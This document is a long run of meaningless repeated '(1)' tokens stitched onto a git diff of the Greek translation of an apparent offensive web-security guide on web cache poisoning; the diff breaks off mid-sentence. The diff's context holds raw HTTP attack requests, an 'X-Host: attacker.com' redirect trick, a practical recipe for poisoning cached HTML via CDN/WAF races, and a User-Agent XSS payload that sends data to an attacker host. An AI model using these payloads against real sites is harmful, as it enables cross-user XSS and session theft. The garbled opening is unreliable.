(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1 diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 00e2d1aae..836a55566 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -16,7 +16,7 @@ Η εκτέλεση μιας επίθεσης δηλητηρίασης της μνήμης cache περιλαμβάνει αρκετά βήματα: 1. **Ταυτοποίηση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η ταυτοποίηση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache. -2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την εύρεση τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο. +2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την ανακάλυψη του τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο. 3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση. ### Discovery: Check HTTP headers @@ -56,14 +56,14 @@ cache-poisoning-to-dos.md Μια ακόμη κεφαλίδα σχετική με την κρυφή μνήμη είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην κρυφή μνήμη του διακομιστή μεσολάβησης. -Όταν αποθηκεύετε ένα αίτημα στην κρυφή μνήμη, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να χρησιμοποιηθούν **απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση κρυφής μνήμης με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί. +Όταν αποθηκεύετε ένα αίτημα στην κρυφή μνήμη, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση κρυφής μνήμης με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί. ## Παραδείγματα Εκμετάλλευσης ### Ευκολότερο παράδειγμα Μια κεφαλίδα όπως το `X-Forwarded-For` αντικατοπτρίζεται στην απάντηση χωρίς καθαρισμό.\ -Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την κρυφή μνήμη έτσι ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS: +Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την κρυφή μνήμη ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -81,13 +81,13 @@ cache-poisoning-to-dos.md Στο **[αυτό το writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** εξηγείται το εξής απλό σενάριο: -- Ο CDN θα αποθηκεύσει οτιδήποτε κάτω από `/share/` +- Ο CDN θα αποθηκεύσει οτιδήποτε βρίσκεται κάτω από `/share/` - Ο CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως, μπορεί να χρησιμοποιηθεί ως **path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` - Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **περιέχει το auth token**. ### Χρήση δηλητηρίασης web cache για εκμετάλλευση ευπαθειών διαχείρισης cookies -Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απάντηση μιας σελίδας. Εάν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απάντηση cache. +Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απάντηση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απάντηση cache. ```html GET / HTTP/1.1 Host: vulnerable.com @@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md ### Χρήση πολλαπλών κεφαλίδων για εκμετάλλευση ευπαθειών δηλητηρίασης cache <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> -Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους** για να μπορέσετε να κακοποιήσετε μια cache. Για παράδειγμα, μπορεί να βρείτε μια **Ανοιχτή ανακατεύθυνση** αν ορίσετε το `X-Forwarded-Host` σε ένα τομέα που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα τομέα για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης. +Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους** για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε μια **Ανοιχτή ανακατεύθυνση** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα του domain για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -133,7 +133,7 @@ X-Host: attacker.com ``` ### Fat Get -Στείλτε ένα αίτημα GET με το αίτημα στο URL και στο σώμα. Αν ο διακομιστής ιστού χρησιμοποιεί αυτό από το σώμα αλλά ο διακομιστής cache αποθηκεύει αυτό από το URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως η ευπάθεια που βρήκε ο James Kettle στον ιστότοπο του Github: +Στείλτε ένα GET αίτημα με το αίτημα στο URL και στο σώμα. Αν ο web server χρησιμοποιεί αυτό από το σώμα αλλά ο cache server αποθηκεύει αυτό από το URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως η ευπάθεια που βρήκε ο James Kettle στον ιστότοπο του Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -146,7 +146,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web ### Parameter Cloacking -Για παράδειγμα, είναι δυνατόν να διαχωρίσετε **παραμέτρους** σε διακομιστές ruby χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό θα μπορούσε να χρησιμοποιηθεί για να τοποθετήσετε τις τιμές παραμέτρων χωρίς κλειδί μέσα σε παραμέτρους με κλειδί και να τις εκμεταλλευτείτε. +Για παράδειγμα, είναι δυνατόν να διαχωρίσετε **παραμέτρους** σε διακομιστές ruby χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό θα μπορούσε να χρησιμοποιηθεί για να τοποθετήσετε τις τιμές παραμέτρων χωρίς κλειδί μέσα σε αυτές με κλειδί και να τις εκμεταλλευτείτε. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -162,16 +162,16 @@ Example usage: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -Αυτό το πραγματικό μοτίβο αλυσίδων μια βασισμένη σε header primitive reflection με τη συμπεριφορά CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες: +Αυτό το πραγματικό μοτίβο αλυσίδωει μια βασισμένη σε κεφαλίδα ανακλαστική πρωτοβουλία με τη συμπεριφορά CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες: - Το κύριο HTML αντανάκλασε μια μη αξιόπιστη κεφαλίδα αιτήματος (π.χ., `User-Agent`) σε εκτελέσιμο πλαίσιο. - Ο CDN αφαίρεσε τις κεφαλίδες cache αλλά υπήρχε μια εσωτερική/προέλευσης cache. Ο CDN επίσης αυτο-καταχώρισε αιτήματα που τελείωναν σε στατικές επεκτάσεις (π.χ., `.js`), ενώ ο WAF εφαρμοζε ασθενέστερη επιθεώρηση περιεχομένου σε GETs για στατικά περιουσιακά στοιχεία. -- Οι ιδιορρυθμίες ροής αιτημάτων επέτρεψαν σε ένα αίτημα σε μια διαδρομή `.js` να επηρεάσει το κλειδί/παραλλαγή cache που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω της αντανάκλασης κεφαλίδων. +- Οι ιδιορρυθμίες ροής αιτήσεων επέτρεψαν σε ένα αίτημα σε μια διαδρομή `.js` να επηρεάσει το κλειδί/παραλλαγή cache που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω ανακλαστικής κεφαλίδας. Practical recipe (observed across a popular CDN/WAF): 1) Από μια καθαρή IP (αποφύγετε τις προηγούμενες υποβαθμίσεις βάσει φήμης), ορίστε ένα κακόβουλο `User-Agent` μέσω του προγράμματος περιήγησης ή του Burp Proxy Match & Replace. -2) Στο Burp Repeater, ετοιμάστε μια ομάδα δύο αιτημάτων και χρησιμοποιήστε "Send group in parallel" (λειτουργία single-packet λειτουργεί καλύτερα): +2) Στο Burp Repeater, προετοιμάστε μια ομάδα δύο αιτημάτων και χρησιμοποιήστε "Send group in parallel" (λειτουργία single-packet λειτουργεί καλύτερα): - Πρώτο αίτημα: GET μια διαδρομή πόρου `.js` στην ίδια προέλευση ενώ στέλνετε το κακόβουλο `User-Agent` σας. - Άμεσα μετά: GET την κύρια σελίδα (`/`). 3) Ο αγώνας δρομολόγησης CDN/WAF συν το αυτο-καταχωρημένο `.js` συχνά σπέρνει μια δηλητηριασμένη παραλλαγή cached HTML που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες κλειδιού cache (π.χ., ίδιες διαστάσεις `Vary` όπως `User-Agent`). @@ -182,13 +182,13 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas ``` Operational tips: -- Πολλές CDNs κρύβουν τις κεφαλίδες cache; η δηλητηρίαση μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλές IPs και περιορίστε την ταχύτητα για να αποφύγετε τα triggers περιορισμού ρυθμού ή φήμης. +- Πολλές CDNs κρύβουν τις κεφαλίδες cache; η δηλητηρίαση μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλές IP vantage και περιορίστε την ταχύτητα για να αποφύγετε τα triggers περιορισμού ρυθμού ή φήμης. - Η χρήση μιας IP από το δικό cloud της CDN μερικές φορές βελτιώνει τη συνέπεια δρομολόγησης. - Εάν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να λειτουργεί εάν η αντανάκλαση εκτελείται στο κύριο HTML πλαίσιο και το CSP επιτρέπει την εκτέλεση inline ή παρακάμπτεται από το πλαίσιο. Impact: -- Εάν τα session cookies δεν είναι `HttpOnly`, είναι 